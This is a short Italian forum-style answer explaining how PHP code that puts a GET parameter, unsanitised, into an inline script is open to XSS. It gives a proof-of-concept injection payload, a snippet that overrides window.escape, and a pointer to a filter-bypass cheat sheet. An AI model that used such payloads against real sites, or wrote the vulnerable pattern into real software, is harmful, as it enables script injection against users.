C'è un modo per aggirare la funzione di escape in javascript?

Certo, diciamo che hai il seguente codice PHP che è vulnerabile a XSS:

<?php
print "<script>var t=escape('".$_GET['t']."')</script>";
?>

È possibile fornire questo file con il seguente Prof of Concept XSS per ottenere una finestra di avviso:

link '); alert (' xss '); //

Se è necessario sovrascrivere la funzione di escape per qualsiasi motivo (sto assumendo un XSS già persistente?) sono abbastanza sicuro di poterlo sovrascrivere creando una funzione anonima simile a questa:

(function() {
   window.escape = function() {
      return true;
  };
})();

Se tuttavia stai cercando un bypass generale dei filtri XSS, ti consiglio di leggere e provare questo cheat XSS: link